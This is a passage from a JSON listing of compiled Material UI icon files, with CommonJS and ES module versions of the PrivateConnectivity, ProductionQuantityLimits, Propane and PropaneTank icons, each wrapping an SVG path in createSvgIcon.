    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-.55-.45-1-1-1h-2.07c-.49-3.39-3.4-6-6.93-6s-6.44 2.61-6.93 6H3c-.55 0-1 .45-1 1s.45 1 1 1h2.07c.49 3.39 3.4 6 6.93 6s6.44-2.61 6.93-6H21c.55 0 1-.45 1-1m-7 2.5c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.21 1.08-2.18 2.34-1.97.98.16 1.66 1.08 1.66 2.08v.89c.55 0 1 .45 1 1zM12.75 13c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75M13 9.5v1h-2v-1c0-.55.45-1 1-1s1 .45 1 1\"\n}), 'PrivateConnectivityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrivateConnectivitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.93 11c-.49-3.39-3.4-6-6.93-6s-6.44 2.61-6.93 6H2v2h3.07c.49 3.39 3.4 6 6.93 6s6.44-2.61 6.93-6H22v-2zM15 10.5v5H9v-5h1v-1c0-1.21 1.08-2.18 2.34-1.97.98.16 1.66 1.08 1.66 2.08v.89zM12.75 13c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75M13 9.5v1h-2v-1c0-.55.45-1 1-1s1 .45 1 1\"\n}), 'PrivateConnectivitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrivateConnectivitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.93 11c-.49-3.39-3.4-6-6.93-6s-6.44 2.61-6.93 6H2v2h3.07c.49 3.39 3.4 6 6.93 6s6.44-2.61 6.93-6H22v-2zM15 10.5v5H9v-5h1v-1c0-1.21 1.08-2.18 2.34-1.97.98.16 1.66 1.08 1.66 2.08v.89zM12.75 13c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75M13 9.5v1h-2v-1c0-.55.45-1 1-1s1 .45 1 1\"\n}), 'PrivateConnectivitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrivateConnectivityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 7.5c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.21 1.08-2.18 2.34-1.97.98.16 1.66 1.08 1.66 2.08v.89c.55 0 1 .45 1 1zM12.75 13c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75M13 9.5v1h-2v-1c0-.55.45-1 1-1s1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5m-6.93 6c.49 3.39 3.4 6 6.93 6s6.44-2.61 6.93-6H22v-2h-3.07c-.49-3.39-3.4-6-6.93-6s-6.44 2.61-6.93 6H2v2zM14 10.5v-.89c0-1-.68-1.92-1.66-2.08C11.08 7.32 10 8.29 10 9.5v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-2 3.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m1-3.25h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'PrivateConnectivityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PrivateConnectivityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 7.5c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.21 1.08-2.18 2.34-1.97.98.16 1.66 1.08 1.66 2.08v.89c.55 0 1 .45 1 1zM12.75 13c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75M13 9.5v1h-2v-1c0-.55.45-1 1-1s1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5m-6.93 6c.49 3.39 3.4 6 6.93 6s6.44-2.61 6.93-6H22v-2h-3.07c-.49-3.39-3.4-6-6.93-6s-6.44 2.61-6.93 6H2v2zM14 10.5v-.89c0-1-.68-1.92-1.66-2.08C11.08 7.32 10 8.29 10 9.5v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-2 3.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m1-3.25h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'PrivateConnectivityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimits.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimits');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimits.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimits');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.27 2H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7z\"\n}), 'ProductionQuantityLimitsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03l3.24-6.14c.25-.48.08-1.08-.4-1.34-.49-.27-1.1-.08-1.36.41L15.55 11H8.53L4.27 2H2c-.55 0-1 .45-1 1s.45 1 1 1h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7z\"\n}), 'ProductionQuantityLimitsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ProductionQuantityLimitsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h-2V8h2zm0-4h-2V1h2zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-8.9-5h7.45c.75 0 1.41-.41 1.75-1.03L21 4.96 19.25 4l-3.7 7H8.53L4.27 2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7z\"\n}), 'ProductionQuantityLimitsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Propane.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4z\"\n}), 'Propane');"
  },
  {
    "path": "packages/mui-icons-material/lib/Propane.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4z\"\n}), 'Propane');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4zm7 11H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4\"\n}), 'PropaneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6h-1V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1H7c-3.31 0-6 2.69-6 6s2.69 6 6 6v3h2v-3h6v3h2v-3c3.31 0 6-2.69 6-6s-2.69-6-6-6m-7-1h4v1h-4zm7 11H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4\"\n}), 'PropaneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.75 6H16V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1h-.75C3.97 6 1.1 8.53 1 11.82.9 15.21 3.62 18 7 18v2c0 .55.45 1 1 1s1-.45 1-1v-2h6v2c0 .55.45 1 1 1s1-.45 1-1v-2c3.38 0 6.1-2.79 6-6.18C22.9 8.53 20.03 6 16.75 6M10 5h4v1h-4z\"\n}), 'PropaneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.75 6H16V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v1h-.75C3.97 6 1.1 8.53 1 11.82.9 15.21 3.62 18 7 18v2c0 .55.45 1 1 1s1-.45 1-1v-2h6v2c0 .55.45 1 1 1s1-.45 1-1v-2c3.38 0 6.1-2.79 6-6.18C22.9 8.53 20.03 6 16.75 6M10 5h4v1h-4z\"\n}), 'PropaneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.75 6H16V3H8v3h-.75C3.97 6 1.1 8.53 1 11.82.9 15.21 3.62 18 7 18v3h2v-3h6v3h2v-3c3.38 0 6.1-2.79 6-6.18C22.9 8.53 20.03 6 16.75 6M10 5h4v1h-4z\"\n}), 'PropaneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.75 6H16V3H8v3h-.75C3.97 6 1.1 8.53 1 11.82.9 15.21 3.62 18 7 18v3h2v-3h6v3h2v-3c3.38 0 6.1-2.79 6-6.18C22.9 8.53 20.03 6 16.75 6M10 5h4v1h-4z\"\n}), 'PropaneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTank.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9z\"\n}), 'PropaneTank');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTank.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9z\"\n}), 'PropaneTank');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6.14V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v8c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-8c0-1.86-1.28-3.41-3-3.86M9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9zM8 8h8c1.1 0 2 .9 2 2v3H6v-3c0-1.1.9-2 2-2m8 12H8c-1.1 0-2-.9-2-2v-3h12v3c0 1.1-.9 2-2 2\"\n}), 'PropaneTankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6.14V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v8c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-8c0-1.86-1.28-3.41-3-3.86M9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9zM8 8h8c1.1 0 2 .9 2 2v3H6v-3c0-1.1.9-2 2-2m8 12H8c-1.1 0-2-.9-2-2v-3h12v3c0 1.1-.9 2-2 2\"\n}), 'PropaneTankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9z\"\n}), 'PropaneTankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V4c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2c0-.55-.45-1-1-1s-1 .45-1 1H9z\"\n}), 'PropaneTankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V2H7v4.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2V5h-2v1H9z\"\n}), 'PropaneTankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15v3c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4v-3zm16-2v-3c0-1.86-1.28-3.41-3-3.86V2H7v4.14c-1.72.45-3 2-3 3.86v3zM9 4h6v2h-2V5h-2v1H9z\"\n}), 'PropaneTankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PropaneTankTwoTone.js",
